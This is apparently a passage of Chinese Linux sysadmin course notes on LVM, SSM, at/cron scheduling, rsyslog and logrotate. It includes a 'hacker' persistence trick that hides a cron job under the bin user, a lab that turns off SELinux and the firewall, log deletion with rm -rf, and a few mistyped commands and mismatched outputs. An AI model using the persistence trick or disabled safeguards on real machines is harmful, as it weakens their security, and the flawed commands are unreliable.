The filesystem on /dev/vg01/lv01 is now 49152 blocks long.
[root@localhost ~]#  df -Th /lv01
文件系统              类型  容量  已用  可用 已用% 挂载点
/dev/mapper/vg01-lv01 ext4   46M  (扩容成功)522K   43M    2% /lv01
[root@localhost ~]# lvextend -L 80M -r /dev/vg01/lv01  #直接扩容到80M空间,一步到位,不用再扩文件系统了
[root@localhost ~]# df -T /lv01/
文件系统              类型 1K-块  已用  可用 已用% 挂载点
/dev/mapper/vg01-lv01 ext4 78303   776 73761    2% /lv01
[root@localhost ~]# df -Th /lv01/
文件系统              类型  容量  已用  可用 已用% 挂载点
/dev/mapper/vg01-lv01 ext4   77M  776K   73M    2% /lv01

15.2.5 VG扩容

[root@localhost ~]# vgs
  VG   #PV #LV #SN Attr   VSize    VFree   
  vg01   1   2   0 wz--n- 1020.00m  924.00m
  vg02   1   0   0 wz--n- 1008.00m 1008.00m 
vg扩容的场景:vg卷组中的空间不了够,需要添加新的硬盘进来
[root@localhost ~]# pvcreate /dev/sdb3  # 创建pv
[root@localhost ~]#  vgextend vg01 /dev/sdb3  #扩容成功
  Volume group "vg01" successfully extended
[root@localhost ~]# vgs
  VG   #PV #LV #SN Attr   VSize    VFree   
  vg01   2   2   0 wz--n-    1.99g   <1.90g
  vg02   1   0   0 wz--n- 1008.00m 1008.00m

15.2.6 LVM缩小

互动:LVM可以动态增加,可以动态缩小吗?

答:LVM可以动态增加,也可以动态缩小,但是XFS不支持动态缩小,所以我们无法实现基于xfs的动态缩小。btrfs文件系统支持在线缩小。

 [root@localhost ~]#  lvreduce -L -20m /dev/vg01/lv01
  WARNING: Reducing active and open logical volume to 60.00 MiB.
  THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce vg01/lv01? [y/n]: y
  Size of logical volume vg01/lv01 changed from 80.00 MiB (20 extents) to 60.00 MiB (15 extents).
  Logical volume vg01/lv01 successfully resized.   #缩小成功

但是文件系统没有缩小成功:

[root@localhost ~]# df -h /lv01/
文件系统                    容量  已用  可用 已用% 挂载点
/dev/mapper/vg01-lv01   77M  776K   73M    2% /lv01   #发现文件系统上空间没有变

[root@localhost ~]# lvextend -L 10M -r /dev/vg01/lv01  #这两个命令也是不能执行成功的
[root@localhost ~]#  resize2fs /dev/vg01/lv01   #这两个命令也是不能执行成功的

VG的缩减,要保证你的物理卷是否被使用,是因为它无法缩减一个正在使用的PV

[root@localhost ~]#  vgs
  VG   #PV #LV #SN Attr   VSize    VFree   
  vg01   2   2   0 wz--n-    1.99g   <1.92g
  vg02   1   0   0 wz--n- 1008.00m 1008.00m 
[root@localhost ~]# pvs
  PV         VG   Fmt  Attr PSize    PFree   
  /dev/sdb1  vg01 lvm2 a--  1020.00m  944.00m
  /dev/sdb2  vg02 lvm2 a--  1008.00m 1008.00m
  /dev/sdb3  vg01 lvm2 a--  1020.00m 1020.00m
  /dev/sdb4       lvm2 ---     1.00g    1.00g
[root@localhost ~]# cp -r /boot/grub /lv01/   #复制一些测试数据
[root@localhost ~]# vgreduce vg01 /dev/sdb1   #将sdb1移出失败,因sdb1正在被使用
  Physical volume "/dev/sdb1" still in use

互动:如果sdb1是一个磁盘阵列,而这个磁盘阵列使用年代太久,我们必须移出怎么办?

移动数据:

[root@localhost ~]# pvmove  /dev/sdb1  /dev/sdb3  #将sdb1上数据移到新增加sdb3 pv 上
  /dev/sdb1: Moved: 23.53%
  /dev/sdb1: Moved: 76.47%
  /dev/sdb1: Moved: 100.00%
[root@localhost ~]#  vgreduce vg01 /dev/sdb1  #移完数据再移出
  Removed "/dev/sdb1" from volume group "vg01"
[root@localhost ~]# pvs
  PV         VG   Fmt  Attr PSize    PFree   
  /dev/sdb1       lvm2 ---     1.00g    1.00g
  /dev/sdb2  vg02 lvm2 a--  1008.00m 1008.00m
  /dev/sdb3  vg01 lvm2 a--  1020.00m  952.00m  #vg01中只有sdb3了

15.2.7 LVM删除

创建LVM流程:

pvcreate创建pv -> vgcreate创建卷组 -> lvcreate创建逻辑卷 -> mkfs.xfs lv 格式化-> mount挂载

删除LVM流程:

umount卸载 -> lvremove lv移出卷组中所有逻辑卷-> vgremove vg移出卷组-> pvremove 移出pv

[root@localhost ~]# umount /lv01
[root@localhost ~]#  lvremove /dev/vg01/lv01
Do you really want to remove active logical volume vg01/lv01? [y/n]: y
  Logical volume "lv01" successfully removed
[root@localhost ~]# lvs
  LV   VG   Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  lv02 vg01 -wi-a----- 16.00m        #已经看不到lv01                                           
[root@localhost ~]#  vgremove vg01   #直接移出卷组
Do you really want to remove volume group "vg01" containing 1 logical volumes? [y/n]: y
Do you really want to remove active logical volume vg01/lv02? [y/n]: y  
#如果卷组中还有lv,移出时,会提示,是否也移出,咱们这里直接移出
  Logical volume "lv02" successfully removed
  Volume group "vg01" successfully removed
[root@localhost ~]# vgs
  VG   #PV #LV #SN Attr   VSize    VFree   
  vg02   1   0   0 wz--n- 1008.00m 1008.00m    #没有vg01 

移出pv  sdb1
[root@localhost ~]# pvs
  PV         VG   Fmt  Attr PSize    PFree   
  /dev/sdb1       lvm2 ---     1.00g    1.00g
  /dev/sdb2  vg02 lvm2 a--  1008.00m 1008.00m
  /dev/sdb3       lvm2 ---     1.00g    1.00g
  /dev/sdb4       lvm2 ---     1.00g    1.00g
[root@localhost ~]# pvremove /dev/sdb1   #已经移出
  Labels on physical volume "/dev/sdb1" successfully wiped.
[root@localhost ~]# pvs
  PV         VG   Fmt  Attr PSize    PFree   
  /dev/sdb2  vg02 lvm2 a--  1008.00m 1008.00m
  /dev/sdb3       lvm2 ---     1.00g    1.00g
  /dev/sdb4       lvm2 ---     1.00g    1.00g

15.3 实战-使用SSM工具为公司的邮件服务器创建可动态扩容的存储池

安装SSM ssm工具了一下

[root@localhost ~]# yum -y install system-storage-manager

SSM:检查关于可用硬驱和LVM卷的信息。显示关于现有磁盘存储设备、存储池、LVM卷和存储快照的信息。

15.3.1 查看磁盘信息

列出设备信息

root@localhost ~]# ssm list dev
------------------------------------------------------------
Device           Free     Used      Total  Pool  Mount point
------------------------------------------------------------
/dev/fd0                          4.00 KB                   
/dev/sda                         20.00 GB        PARTITIONED
/dev/sda1                       200.00 MB        /boot      
/dev/sda2                         1.00 GB        SWAP       
/dev/sda3                        10.00 GB        /          
/dev/sdb                         20.00 GB                   
/dev/sdb1                         1.00 GB                   
/dev/sdb2  1008.00 MB  0.00 KB    1.00 GB  vg02             
/dev/sdb3                         1.00 GB                   
/dev/sdb4                         1.00 GB     

存储池信息

[root@localhost ~]# ssm list pool
----------------------------------------------------
Pool  Type  Devices        Free     Used       Total  
----------------------------------------------------
vg02  lvm   1        1008.00 MB  0.00 KB  1008.00 MB  
----------------------------------------------------

15.3.2 实战:为公司的邮件服务器创建基于LVM的邮件存储

实战场景:公司要搭建一台邮件服务器,考虑到后期公司发展规模扩张,需要你创建一个名为mail 的LVM存储池,并在其上创建一个名为mail-lv,初始大小为1G的lvm卷,格式化为xfs文件系统,并将其挂载/mail-lv目录下。此存储池中的空间后期要可以动态扩容。

将sdb上所有卷组信息删除:

[root@localhost ~]# vgremove vg02
[root@localhost ~]# pvremove /dev/sdb{1,2,3,4}

创建目录

[root@xuegod72 ~]# mkdir /mail-lv

用的命令如下:

ssm create -s lv大小 -n lv名称 --fstype lv文件系统类型 -p 卷组名 设备 挂载点

自动把设备变成pv,创建vg , lv ,格式化文件系统, 自动挂载

[root@localhost ~]#  ssm create -s 1G -n mail-lv --fstype xfs -p mail /dev/sdb[1-4] /mail-lv
  Physical volume "/dev/sdb1" successfully created.
  Physical volume "/dev/sdb2" successfully created.
  Physical volume "/dev/sdb3" successfully created.
  Physical volume "/dev/sdb4" successfully created.
  Volume group "mail" successfully created
WARNING: ext4 signature detected on /dev/mail/mail-lv at offset 1080. Wipe it? [y/n]: y
  Wiping ext4 signature on /dev/mail/mail-lv.
  Logical volume "mail-lv" created.
meta-data=/dev/mail/mail-lv      isize=512    agcount=4, agsize=65536 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=0, sparse=0
data     =                       bsize=4096   blocks=262144, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0 ftype=1
log      =internal log           bsize=4096   blocks=2560, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
[root@localhost ~]# df -h  /mail-lv/
文件系统                   容量  已用  可用 已用% 挂载点
/dev/mapper/mail-mail--lv 1014M   33M  982M    4% /mail-lv

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十六章 Linux计划任务与日志的管理

16.1 计划任务-at-cron-计划任务使用方法

大家平常都会有一些比如说:你每天固定几点起床?每天按时上班打卡、每月15号准时开工资、每年2月14你俩口子某某纪念日等这些诸如此类,这些都是定时发生的。或者说是通俗点说:例行公事;还比如说我们还会遇到一些突发事件,临时几点过来加个班?刚好晚上几点聚个餐?

像上面这些情况,如果事少的话你大脑可以记住,如果事很多,像老板经理董事长每天的工作安排,通常都是记在一些本上,或者闹铃提醒等。

那么,咱们的LINUX系统和上面的情况也很类似,我们也可以通过一些设置。来让电脑定时提醒我们该做什么事了。或者我们提前设置好,告诉电脑你几点做什么几点做什么,这种我们就叫它定时任务。而遇到一些需要执行的事情或任务。我们也可以通过命令来告诉电脑一会临时把这个工作给做一下

总结:在我们LINUX中,我们可以通过crontab和at这两个东西来实现这些功能的

计划任务的作用:是做一些周期性的任务,在生产中的主要用来定期备份数据

CROND:这个守护进程是为了周期性执行任务或处理等待事件而存在

任务调度分两种:系统任务调度,用户任务调度

计划任务的安排方式分两种:

一种是定时性的,也就是例行。就是每隔一定的周期就要重复来做这个事情

一种是突发性的,就是这次做完了这个事,就没有下一次了,临时决定,只执行一次的任务

at和crontab这两个命令:

at:它是一个可以处理仅执行一次就结束的指令

crontab:它是会把你指定的工作或任务,比如:脚本等,按照你设定的周期一直循环执行下去

16.1.1 at计划任务的使用

语法格式: at 时间 ;服务:atd

[root@localhost ~]# systemctl start atd #开启atd服务
[root@localhost ~]# systemctl status atd #查看atd服务状态
[root@localhost ~]# systemctl is-enabled atd #查看是否开始开机启动服务,如果弹出enabled,说明开机启动此服务

在Centos6查看开机启动服务:

[root@localhost ~]# chkconfig --list | grep atd #此命令在centos7上不能执行

实战-使用at创建计划任务

[root@localhost ~]# date #查看系统时间
2018年 05月 21日 星期一 20:43:29 CST
[root@localhost ~]# at 20:46 #注意:如果是上午时间,后面加上am,比如9:20am
at> mkdir /tmp/xuegod #输入你要执行的命令
at> touch /tmp/xuegod/a.txt
at> #结束:ctrl+d
[root@localhost ~]# at -l #查看计划任务
[root@localhost ~]# atq #查看计划任务
检查at计划任务运行结果:
[root@localhost ~]# ls /tmp/xuegod/
a.txt

互动:如果正在执行命令,ctrl+D ,按成ctrl+S 会怎么样? 尤其是使用vim保存,按成ctrl+s

解决: ctrl+s在linux下是锁定屏幕显示的意思,这时整个界面被锁定,不能进行正常输入。使用ctrl+q来解除锁定,

16.1.2 查看和删除at将要执行的计划任务

这个查看,只能看到还没有执行的。如果这个任务已经开始执行或者执行完成了,是看不到的

[root@localhost ~]# at -l
5 Sat Aug 19 20:50:00 2017 a root

任务编号

执行的时间

队列

执行者

5

Fri Oct 28 20:55:00 2016

a

root

[root@localhost ~]# at -c 5 #-c 打印任务的内容到标准输出, 查看5号计划任务具体内容

查看定时任务内容

[root@localhost ~]# ls /var/spool/at/
a00003018452cb a0000501845084 spool
[root@localhost ~]# tail -5 /var/spool/at/a0000501845084

at计划任务的特殊写法

[root@ panda ~]# at 20:00 2018-10-1 在某天
[root@ panda ~]# at now +10min 在 10分钟后执行
[root@ panda ~]# at 17:00 tomorrow 明天下午5点执行
[root@localhost ~]# at 6:00 pm +3 days 在3天以后的下午6点执行
[root@localhost ~]# at 23:00 < a.txt

删除at计划任务

语法: atrm 任务编号

[root@localhost ~]# at -l
3 Tue May 22 08:43:00 2018 a root
5 Mon May 21 23:00:00 2018 a root
[root@localhost ~]# atrm 5
[root@localhost ~]# at -l
3 Tue May 22 08:43:00 2018 a root

at任务名单

/etc/at.deny黑名单和/etc/at.allow白名单(优先级高)

at是计划任务atd的管理工具,每编写一个计划任务,就会在“/var/spool/at/spool”目录下生成一个脚本,将atd服务停止之后,at任务不会执行,只要atd服务启动之后,任务就会立马执行,当任务过期之后,会在下一次atd启动时执行

16.1.3 crontab定时任务的使用

crond命令定期检查是否黑名单有要执行的工作,如果有要执行的工作便会自动执行该工作

cron是一个linux下的定时执行工具,可以在无需人工干预的情况下运行作业。

linux任务调度的工作主要分为以下两类:

系统执行的工作:系统周期性所要执行的工作,如更新whatis数据库 updatedb数据库,日志定期切割,收集系统状态信息,/tmp定期清理

启动crond服务

[root@localhost at]# systemctl start crond
[root@localhost at]# systemctl enable crond

16.1.4 cron命令参数介绍

crontab的参数:

crontab -u hr #指定hr用户的cron服务

crontab -l #列出当前用户下的cron服务的详细内容

crontab -u mk -l #列出指定用户mk下的cron服务的详细内容

crontab -r #删除cron服务

crontab -e #编辑cron服务

例如:

crontab -u root -l # root查看自己的cron计划任务

crontab -u san -r # root想删除san的cron计划任务

cron -e 编辑时的语法

 星期日用0或7表示

一行对应一个任务,特殊符号的含义:     

*

代表取值范围内的数字

(任意/每)

/

指定时间的间隔频率

*/10 0-23/2

-

代表从某个数字到某个数字

8-17

分开几个离散的数字

6,10-13,20

16.1.5 创建计划任务

例1:每天凌晨2点1分开始备份数据

[root@localhost spool]# crontab -e #添加计划任务
1 2 * * * tar zcvf /opt/grub2.tar.gz /boot/grub2
[root@localhost ~]# crontab -l #查看

例2:黑客:以非root用户添加计划任务。 最好使用已经存在系统用户添加。这里使用bin用户来添加

[root@localhost ~]# crontab -u bin -e
1 * * * * echo "aaaaaaa" >> /tmp/bin.txt

排查:

[root@localhost ~]# crontab -u bin -l
1 * * * * echo "aaaaaaa" >> /tmp/bin.txt

互动:如何排查所有用户的计划任务? 

做黑客要有一个很扎实的基础,还要有很好的思维

注:所有用户的计划任务,都会在/var/spool/cron/下产生对应的文件

[root@localhost ~]# ll /var/spool/cron/
total 8
-rw------- 1 root root 42 Nov 12 10:11 bin
-rw------- 1 root root 19 Nov 12 10:06 root

所以后期可以使用这一招排查,黑客是否在你的机器中安装了定时任务

16.1.6 系统级别的计划任务

系统级别的计划任务

[root@localhost etc]# ll /etc/crontab
-rw-r--r--. 1 root root 451 Dec 28 2013 /etc/crontab

这个是系统任务调度的配置文件

[root@localhost etc]# vim /etc/crontab
SHELL=/bin/bash #指定操作系统使用哪个shell
PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统执行命令的搜索路径
MAILTO=root #将执行任务的信息通过邮件发送给xx用户
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed

也可以直接在/etc/crontab中添加计划任务

使用crontab命令的注意事项:

环境变量的问题

清理你的邮件日志 ,比如使用重定向 >/dev/null 2>&1

[root@localhost bin]# ls /etc/cron #按两下tab键
cron.d/ cron.deny cron.monthly/ cron.weekly/
cron.daily/ cron.hourly/ crontab
注: cron.d/ #是系统自动定期需要做的任务,但是又不是按小时,按天,按星期,按月来执行的,那么就放在这个目录下面。
cron.deny #控制用户是否能做计划任务的文件;
cron.monthly/ #每月执行的脚本;
cron.weekly/ #每周执行的脚本;
cron.daily/ #每天执行的脚本;
cron.hourly/ #每小时执行的脚本;
crontab #主配置文件 也可添加任务;

16.1.7 实战-常见的计划任务写法和案例

常见写法:

每天晚上21:00 重启apache

                0 21 * * * /etc/init.d/httpd restart

每月1、10、22日的4 : 45重启apache。

                45 4 1,10,22 * * /etc/init.d/httpd restart

每月1到10日的4 : 45重启apache。

                45 4 1-10 * * /etc/init.d/httpd restart

每隔两天的上午8点到11点的第3和第15分钟重启apach

                3,15 8-11 */2 * *  /etc/init.d/httpd restart

晚上11点到早上7点之间,每隔一小时重启apach

                0 23-7/1 * * * /etc/init.d/apach restart

周一到周五每天晚上 21:15 寄一封信给 root@panda:

                15 21 * * 1-5 mail -s "hi" root@panda < /etc/fstab

互动:crontab不支持每秒。 每2秒执行一次脚本,怎么写?

在脚本的死循环中,添加命令 sleep 2 ,执行30次自动退出,然后添加,计划任务:

* * * * * /back.sh

案例要求:

每天2:00备份/etc/目录到/tmp/backup下面

将备份命令写入一个脚本中

每天备份文件名要求格式: 2017-08-19_etc.tar.gz

在执行计划任务时,不要输出任务信息

存放备份内容的目录要求只保留三天的数据

====================================================

mkdir /tmp/backup
tar zcf etc.tar.gz /etc
find /tmp/backup -name “*.tar.gz” -mtime +3 -exec rm -rf {}\;

============================================================

[root@localhost ~]# crontab -l
13 21 * * * echo "xuegod1707" > /tmp/a.txt
0 22 * * * /root/backup.sh & > /dev/null
[root@localhost ~]# cat backup.sh
#!/bin/bash
find /tmp/backup -name "*.tar.gz" -mtime +3 -exec rm -f {}\;
#find /tmp/backup -name "*.tar.gz" -mtime +3 -delete
#find /tmp/backup -name "*.tar.gz" -mtime +3 |xargs rm -f
tar zcf /tmp/backup/`date +%F`_etc.tar.gz /etc
注:工作中备份的文件不要放到/tmp,因为过一段时间,系统会清空备/tmp目录

16.2 日志的种类和记录的方式-自定义ssh服务日志类型和存储位置

在centos7中,系统日志消息由两个服务负责处理:systemd-journald和rsyslog

16.2.1 常见日志文件的作用

系统日志文件概述:/var/log目录保管由rsyslog维护的,里面存放的一些特定于系统和服务的日志文件

日志文件

用途

/var/log/message

大多数系统日志消息记录在此处。有也例外的:如与身份验证,电子邮件处理相关的定期作业任务等

/var/log/secure

安全和身份验证相关的消息和登录失败的日志文件。 ssh远程连接产生的日志

/var/log/maillog

与邮件服务器相关的消息日志文件

/var/log/cron

与定期执行任务相关的日志文件

/var/log/boot.log

与系统启动相关的消息记录

/var/log/dmesg

与系统启动相关的消息记录

例1:查看哪个IP地址经常暴力破解系统用户密码

[root@localhost ~]# ssh root@192.168.1.63 #故意输错3次密码
[root@localhost log]# grep Failed /var/log/secure
Aug 19 21:55:42 panda sshd[84029]: Failed password for root from 10.10.30.130 port 50916 ssh2
Aug 19 21:55:44 panda sshd[84029]: Failed password for root from 10.10.30.130 port 50916 ssh2
Aug 19 21:55:47 panda sshd[84029]: Failed password for root from 10.10.30.130 port 50916 ssh2
Aug 19 21:55:52 panda sshd[84034]: Failed password for root from 10.10.30.130 port 50917 ssh2
[root@localhost log]# grep Failed /var/log/secure|awk '{print $11}'|uniq -c
3 192.168.1.63

注:awk '{print $11}' #以空格做为分隔符,打印第11列的数据

uniq命令用于报告或忽略文件中的重复行,-c或——count:在每列旁边显示该行重复出现的次数;

例2:/var/log/wtmp文件的作用

/var/log/wtmp也是一个二进制文件,记录每个用户的登录次数和持续时间等信息。

可以用last命令输出wtmp中内容: last 显示到目前为止,成功登录系统的记录

[root@localhost ~]# last
root pts/2 192.168.1.8 Tue May 22 00:35 still logged in
root pts/2 192.168.1.8 Mon May 21 20:42 - 00:35 (03:53)

或:

[root@localhost ~]# last -f /var/log/wtmp

例3:使用 /var/log/btmp文件查看暴力破解系统的用户

/var/log/btmp文件是记录错误登录系统的日志。如果发现/var/log/btmp日志文件比较大,大于1M,就算大了,就说明很多人在暴力破解ssh服务,此日志需要使用lastb程序查看

[root@localhost ~]# lastb
root ssh:notty localhost.cn Mon May 21 21:49 - 21:49 (00:00)

root ssh:notty localhost.cn Mon May 21 21:49 - 21:49 (00:00) 发现后,使用防火墙,拒绝掉:命令如下: iptables -A INPUT -i eth0 -s. 192.168.1.63 -j DROP

查看恶意ip试图登录次数:

[root@localhost ~]# lastb | awk '{ print $3}' | sort | uniq -c | sort -n

清空日志:

方法1:

[root@localhost ~]#echo  > /var/log/btmp

方法2:

[root@localhost ~]# rm -rf /var/log/btmp && touch /var/log/btmp

两者的区别?

使用方法2,因为创建了新的文件,而正在运行的服务,还用着原来文件的inode号和文件描述码,所需要重启一下rsyslog服务。建议使用方法1 > /var/log/btmp

16.2.2 日志的记录方式

分类 级别

日志的分类:

daemon 后台进程相关

kern 内核产生的信息

lpr 打印系统产生的

authpriv 安全认证

cron 定时相关

mail 邮件相关

syslog 日志服务本身的

news 新闻系统

local0~7 自定义的日志设备

local0-local7 8个系统保留的类, 供其它的程序使用或者是用户自定义

日志的级别: 轻重

编码

优先级

严重性

7

debug

信息对开发人员调试应用程序有用,在操作过程中无用

6

info

正常的操作信息,可以收集报告,测量吞吐量等

5

notice

注意,正常但重要的事件,

4

warning

警告,提示如果不采取行动。将会发生错误。比如文件系统使用90%

3

err

错误,阻止某个模块或程序的功能不能正常使用

2

crit

关键的错误,已经影响了整个系统或软件不能正常工作的信息

1

alert

警报,需要立刻修改的信息

0

emerg

紧急,内核崩溃等严重信息

16.2.3 rsyslog日志服务

rhel5 ->服务名称syslog ->配置文件 /etc/syslog.conf

rhel6-7 ->服务名称rsyslog ->配置文件 /etc/rsyslog.conf

我们来查看一下日志的配置文件信息:

编辑配置文件 vim /etc/rsyslog.conf

*.info;mail.none;authpriv.none;cron.none /var/log/messages

authpriv.* /var/log/secure

mail.* -/var/log/maillog

cron.* /var/log/cron

*.emerg :omusrmsg:*

uucp,news.crit /var/log/spooler

local7.* /var/log/boot.log

注释:

#$UDPServerRun 514 #允许514端口接收使用UDP协议转发过来的日志

#$InputTCPServerRun 514 ##允许514端口接收使用TCP协议转发过来的日志

#kern.* 内核类型的所有级别日志 存放到 /dev/console

*.info;mail.none;authpriv.none;cron.none /var/log/messages

所有的类别级别是info以上 除了mail,authpriv,cron (产生的日志太多,不易于查看)

类别.级别

authpriv.* 认证的信息存放 /var/log/secure

mail.* 邮件相关的信息 存放 -/var/log/maillog

cron.* 计划任务相关的信息 存放 /var/log/cron

local7.* 开机时显示的信息存放--> /var/log/boot.log

注:

“- ”号: 邮件的信息比较多,现将数据存储到内存,达到一定大小,全部写到硬盘.有利于减少I/O进程的开销

数据存储在内存,如果关机不当数据消失

16.2.4 日志输入的规则

. info 大于等于info级别的信息全部记录到某个文件

.=级别 仅记录等于某个级别的日志

例:.=info 只记录info级别的日志

.! 级别 除了某个级别意外,记录所有的级别信息

例.!err 除了err外记录所有

.none 指的是排除某个类别 例: mail.none 所有mail类别的日志都不记录

16.2.5 实战-自定义ssh服务的日志类型和存储位置

[root@localhost ~]# vim /etc/rsyslog.conf #以73行下,插入以下红色标记内容
73 local7.* /var/log/boot.log
74 local0.* /var/log/sshd.log

注:把local0类别的日志,保存到 /var/log/sshd.log路径

定义ssh服务的日志类别为local0,编辑sshd服务的主配置文件

[root@localhost log]# vim /etc/ssh/sshd_config #插入
SyslogFacility local0
改:32 SyslogFacility AUTHPRIV
为:32 SyslogFacility local0

先重启rsyslog服务(生效配置)

[root@localhost log]# systemctl restart rsyslog

再重启sshd服务.生成日志

[root@localhost log]# systemctl restart sshd

验证是否生成日志并查看其中的内容,

[root@localhost ~]# cat /var/log/sshd.log #说明修改成功
May 22 00:19:54 localhost sshd[44737]: Server listening on 0.0.0.0 port 22.
May 22 00:19:54 localhost sshd[44737]: Server listening on :: port 22.

上面对就的信息:时间 主机 服务 进程ID 相关的信息

互动:如何防止日志删除?

[root@localhost ~]# chattr +a /var/log/sshd.log
[root@localhost ~]# lsattr /var/log/sshd.log
-----a---------- /var/log/sshd.log
[root@localhost ~]# systemctl restart sshd
[root@localhost ~]# cat /var/log/sshd.log #重启服务,查看日志有所增加

注:这个功能看着很强大,其实不实用,因这样会让系统日志切割时报错,日志有时会太。最主的是,黑客可以取消这个属性。

[root@localhost ~]# chattr -a /var/log/sshd.log #取消,这里一定要取消,不然后面做日志切割报错

互动:当日志太多,导致日志很文件大怎么办?

16.3 实战-日志切割-搭建远程日志收集服务器

16.3.1 日志的切割

在linux下的日志会定期进行滚动增加,我们可以在线对正在进行回滚的日志进行指定大小的切割(动态),如果这个日志是静态的。比如没有应用向里面写内容。那么我们也可以用split工具进行切割;其中Logrotate支持按时间和大小来自动切分,以防止日志文件太大。

logrotate配置文件主要有:

/etc/logrotate.conf 以及 /etc/logrotate.d/ 这个子目录下的明细配置文件。

logrotate的执行由crond服务调用的。

[root@localhost ~]# vim /etc/cron.daily/logrotate #查看logrotate脚本内容

logrotate程序每天由cron在指定的时间(/etc/crontab)启动

日志是很大的,如果让日志无限制的记录下去 是一件很可怕的事情,日积月累就有几百兆占用磁盘的空间,

如果你要找出某一条可用信息:海底捞针

日志切割:

当日志达到某个特定的大小,我们将日志分类,之前的日志保留一个备份,再产生的日志创建一个同名的文件保存新的日志.

16.3.2 实战演示

编辑配置文件

[root@localhost log]# vim /etc/logrotate.conf

 说明:(全局参数)

weekly : 每周执行回滚,或者说每周执行一次日志回滚

rotate: 表示日志切分后历史文件最多保存离现在最近的多少份 [rəʊˈteɪt] 旋转

create : 指定新创建的文件的权限与所属主与群组

dateext : 使用日期为后缀的回滚文件 #可以去/var/log目录下看看

单独配置信息

 /var/log/btmp { 指定的日志文件的名字和路径

missingok 如果文件丢失,将不报错

monthly 每月轮换一次

create 0664 root utmp 设置btmp这个日志文件的权限,属主,属组

minsize 1M 文件超过1M进行回滚,所以大家要知道它不一定每个月都会进行分割,要看这个文件大小来定

rotate 1 日志切分后历史文件最多保存1份,不含当前使用的日志

其它参数说明:

monthly: 日志文件将按月轮循。其它可用值为‘daily’,‘weekly’或者‘yearly’。

rotate 5: 一次将存储5个归档日志。对于第六个归档,时间最久的归档将被删除。

compress: 在轮循任务完成后,已轮循的归档将使用gzip进行压缩。

delaycompress: 总是与compress选项一起用,delaycompress选项指示logrotate不要将最近的归档压缩,压缩将在下一次轮循周期进行。这在你或任何软件仍然需要读取最新归档时很有用。

missingok: 在日志轮循期间,任何错误将被忽略,例如“文件无法找到”之类的错误。

notifempty: 如果日志文件为空,轮循不会进行。

create 644 root root: 以指定的权限创建全新的日志文件,同时logrotate也会重命名原始日志文件。

postrotate/endscript: 在所有其它指令完成后,postrotate和endscript里面指定的命令将被执行。在这种情况下,rsyslogd 进程将立即再次读取其配置并继续运行。

/var/lib/logrotate/status中默认记录logrotate上次轮换日志文件的时间。

16.3.3 实战-使用 logrotate 进行ssh日志分割

定义了ssh日志存储在/var/log/sshd的基础上执行:

[root@localhost ~]# vim /etc/logrotate.d/sshd #创建一个sshd配置文件,插入以一下内容:
/var/log/sshd.log {
missingok
weekly
create 0600 root root
minsize 1M
rotate 3
}
[root@localhost ~]#systemctl restart rsyslog
[root@localhost ~]# logrotate -d /etc/logrotate.d/sshd #预演,不实际轮循
[root@localhost ~]# logrotate -vf /etc/logrotate.d/sshd #强制轮循,也就是说即使轮循条件没有满足,也可以通过加-f强制让logrotate轮循日志文件

-v 显示指令执行过程

-f 强制执行

[root@localhost ~]# ls /var/log/sshd*e
/var/log/sshd.log /var/log/sshd.log.1 /var/log/sshd.log.2 /var/log/sshd.log.3
再次查看日志文件大小,已经为0
[root@localhost ~]# ll -h /var/log/sshd.log
-rw------- 1 root root 0 5月 22 00:49 /var/log/sshd.log

例2:实战-使用 logrotate 进行nginx日志分割

前提已经搭建好nginx,大家了解一下,后期讲了nginx后你在练习这个

[root@localhost httpd]# vim /etc/logrotate.d/nginx
/usr/local/nginx/logs/*.log { #指定日志文件位置,可用正则匹配
daily #调用频率,有:daily,weekly,monthly可选
rotate 5 #一次将存储5个归档日志。对于第六个归档,时间最久的归档将被删除。
sharedscripts #所有的日志文件都轮转完毕后统一执行一次脚本
postrotate #执行命令的开始标志
if [ -f /usr/local/nginx/logs/nginx.pid ]; then #判断nginx是否启动
/usr/local/nginx/sbin/nginx -s reload
#让nginx重新加载配置文件,生成新的日志文件,如果nginx没启动不做操作
fi
endscript #执行命令的结束标志
}

没有切割日志: 日志150G了。。。

 16.3.4 配置远程日志服务器-实现日志集中的管理

实验拓扑图:

server端配置

[root@localhost ~]# vim /etc/rsyslog.conf # 使用TCP协议方式,收集日志
改:19 #$ModLoad imtcp
20 #$InputTCPServerRun 514
为:
19 $ModLoad imtcp
20 $InputTCPServerRun 514

注:使用UDP协议速度快不保证数据的完整,使用TCP协议可靠.完整

[root@localhost ~]# systemctl restart rsyslog #重新启动 rsyslog
查看服务监听的状态:
[root@localhost ~]# netstat -anlpt| grep 514
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN 45631/rsyslogd
tcp6 0 0 :::514 :::* LISTEN 45631/rsyslogd

服务端验证:

在服务端关闭selinux和防火墙

[root@localhost ~]# getenforce
Enforcing
[root@localhost ~]# setenforce 0 #关闭selinux功能
[root@localhost ~]#getenforce
Permissive
[root@localhost ~]# systemctl stop firewalld
[root@localhost ~]# systemctl status firewalld
[root@localhost ~]# iptables -F #清空防火墙规则
client端配置
登录xuegod64.cn
[root@localhost ~]# vim /etc/rsyslog.conf #在90行之后,插入
*.* @@192.168.1.63:514

注: *.* 所有类别和级别的日志 ; @@192.168.1.63:514 远端tcp协议的日志服务端的IP和端口

重启rsyslog 服务

[root@xuegod64 ~]# systemctl restart rsyslog.service

查看日志:

[root@localhost ~]# tail -f /var/log/messages | grep xuegod64 --color #动态查看日志

在客户端xuegod64进行测试

语法: logger 要模拟发送的日志

[root@xuegod64 ~]# logger “aaaaa”
[root@localhost ~]# tail -f /var/log/messages | grep xuegod64 --color #服务器端到查看消息
May 21 16:32:16 xuegod64 root: aaaaa

总结:服务器使用udp协议,客户端只能使用的配置文件中这一行只能有一个@

                *.* @192.168.1.64:514

